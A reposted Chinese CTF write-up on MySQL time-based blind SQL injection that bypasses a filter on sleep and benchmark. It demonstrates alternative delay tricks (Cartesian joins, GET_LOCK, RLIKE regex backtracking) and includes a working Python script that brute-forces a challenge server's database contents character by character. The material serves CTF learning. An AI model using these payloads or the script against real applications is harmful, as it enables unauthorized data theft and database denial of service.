转自cdxy师傅:https://www.cdxy.me/?p=789
PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数,引发对时间盲注中延时方法的思考。
延时函数
- SLEEP
mysql> select sleep(5); +----------+ | sleep(5) | +----------+ | 0 | +----------+ 1 row in set (5.00 sec)
- BENCHMARK
mysql> select benchmark(10000000,sha(1)); +----------------------------+ | benchmark(10000000,sha(1)) | +----------------------------+ | 0 | +----------------------------+ 1 row in set (2.79 sec)
mysql> select benchmark(10000000,sha(1)); +----------------------------+ | benchmark(10000000,sha(1)) | +----------------------------+ | 0 | +----------------------------+ 1 row in set (2.79 sec)
- 笛卡尔积 Writeup
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +------------+ | count(*) | +------------+ | 2651020120 | +------------+ 1 row in set (1 min 51.05 sec)
- GET_LOCK Writeup
延时精确可控,利用环境有限,需要开两个session测试。
SESSION A mysql> select get_lock('test',1); +--------------------+ | get_lock('test',1) | +--------------------+ | 1 | +--------------------+ 1 row in set (0.00 sec) SESSION B mysql> select get_lock('test',5); +--------------------+ | get_lock('test',5) | +--------------------+ | 0 | +--------------------+ 1 row in set (5.00 sec)
- RLIKE
通过rpad
或repeat
构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); +-------------------------------------------------------------+ | rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') | +-------------------------------------------------------------+ | 0 | +-------------------------------------------------------------+ 1 row in set (5.27 sec)
PWNHUB-全宇宙最简单的PHP-Writeup
<?php require 'conn.php'; $id = $_GET['id']; if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id'])) { die("you bad bad!"); } $sql = "select * from article where id='".intval($id)."'"; $res = mysql_query($sql); if(!$res){ die("404 not found!"); } $row = mysql_fetch_array($res, MYSQL_ASSOC); mysql_query("update view set view_times=view_times+1 where id = '".$id." '"); ?>
上面代码明显可从id
参数注入代码到MySQL UPDATE语句。
从时间盲注的角度解,题中除过滤掉sleep
和benchmark
两个延时函数之外,并无其他限制。
思路:寻找新的延时函数
想到日常数据开发中自己的SQL中多次因正则消耗计算资源,又想到某次白帽大会上关于正则Dos的议题,然后开始朝RLIKE
尝试。
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
以上代码等同于 sleep(5)
本地测试
mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5 from dual),1,1)='5',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1'; Query OK, 0 rows affected (5.08 sec) Rows matched: 0 Changed: 0 Warnings: 0 mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5),1,1)='1',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1'; Query OK, 0 rows affected (0.00 sec) Rows matched: 0 Changed: 0 Warnings: 0
Docker起了个PHP 5.6+MySQL,代码copy过去,构建相同环境测试脚本,爆破到正确字符时,测试机会延时10s左右;遇到错误字符会在0.1s以内返回,可以明显区分。
本地测试执行version()
的结果:
N - 0.0232281684875 O - 0.0197539329529 P - 0.028028011322 Q - 0.0212018489838 R - 0.0244557857513 S - 0.0253188610077 T - 0.0281682014465 U - 0.0236928462982 V - 0.0221898555756 W - 0.0275118350983 X - 0.0206508636475 Y - 0.0258479118347 Z - 0.0194098949432 @ - 0.0250370502472 { - 0.0211541652679 } - 0.0245869159698 - - 0.0192731937281 _ - 0.0247149467468 . - 0.0188128948212 Error or Finished. Current Result: 5.5.59-0ubuntu0.14.04.1[NULL][NULL]
线上测试
线上就很蛋疼了。首先环境是每5min重启一次,每次只能在重启的瞬间(0.5s)打上10条请求,然后服务器就被用笛卡尔积的同学打挂了。
二分法懒得搞了,在脚本里加了一些纠错机制,线上环境正误尝试的时间差降为0.2s左右,但仍可以区分。
# !/usr/bin/env python # -*- coding: utf-8 -*- import requests from requests.exceptions import ReadTimeout, ConnectionError from urllib import quote import time import re payloads = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}-_.' url = 'http://52.80.179.198:8080/article.php?id=' # url = 'http://localhost:8090/article.php?id=' # 替代sleep() # 14s # sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" # 5s sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" # 本地测试代码 def run_local(query): def brute_single_char(target_index): for c in payloads: payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func) confirm_cnt = 0 # print payload for i in range(10000): # 为了宕机重试 if confirm_cnt > 3: # 连续四次正确尝试,保存结果 print 'FOUND!!! ' + c return c time_start = time.time() try: req = requests.get(url + quote(payload), timeout=20) if 'Warning' in req.content: print req.content if 'helloworld' not in req.content: print c, 'MySQL Down, retry...' # print req.content continue except ReadTimeout: # 时间长:正确尝试 print c, ' - timeout, retry...' # confirm_cnt += 1 continue except ConnectionError: print c, 'Web Server Down, retry...' continue # print ans.content time_end = time.time() print c, ' - ', time_end - time_start if time_end - time_start < 5: # 时间短:错误尝试 # print 'false:' + c break confirm_cnt += 1 return '[NULL]' # 全部字母未命中 result = '' try: for index in range(1, 100): if len(re.findall(r'\[NULL\]', result)) > 2: print 'Error or Finished. \nCurrent Result: ' + result return result += brute_single_char(index) except KeyboardInterrupt: print result # 线上测试代码 def run_sort(query): def brute_single_char(target_index): timelist = {} for c in payloads: payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func) for i in range(10000): # 为了宕机重试 time_start = time.time() try: req = requests.get(url + quote(payload), timeout=2) if 'helloworld' not in req.content: continue except ReadTimeout: print c, ' - timeout, retry...' continue except ConnectionError: continue time_end = time.time() print c, ' - ', time_end - time_start timelist[c] = time_end - time_start break if not len(timelist): return '[NULL]' # 全部字母未命中 rec = sorted(timelist.items(), key=lambda item: item[1]) print rec return rec[-1] result = [] try: for index in range(7, 100): print '________INDEX {}_______'.format(index) result.append(brute_single_char(index)) if result[-1] is '[NULL]': print 'Error or Finished. \nCurrent Result: ' print result return except KeyboardInterrupt: print result if __name__ == '__main__': run_sort('(select * from flags)')
以下爆破结果中,3为正确结果,其余为错误结果。
1 - 0.0639481544495 2 - 0.0795040130615 3 - 0.3621571064 4 - 0.0846300125122 5 - 0.0894010066986 6 - 0.0945949554443 7 - 0.0842099189758 8 - 0.0861508846283 9 - 0.0922508239746
之后依次执行以下代码get flag(跑了多少个小时我也不知道。。。)
select count(*) from article -> 3 database() -> post select count(table_name) from information_schema.tables where table_schema='post' -> 3 select length(table_name) from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' —> 5 select table_name from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' -> flags select count(*) from flags -> 1 select * from flag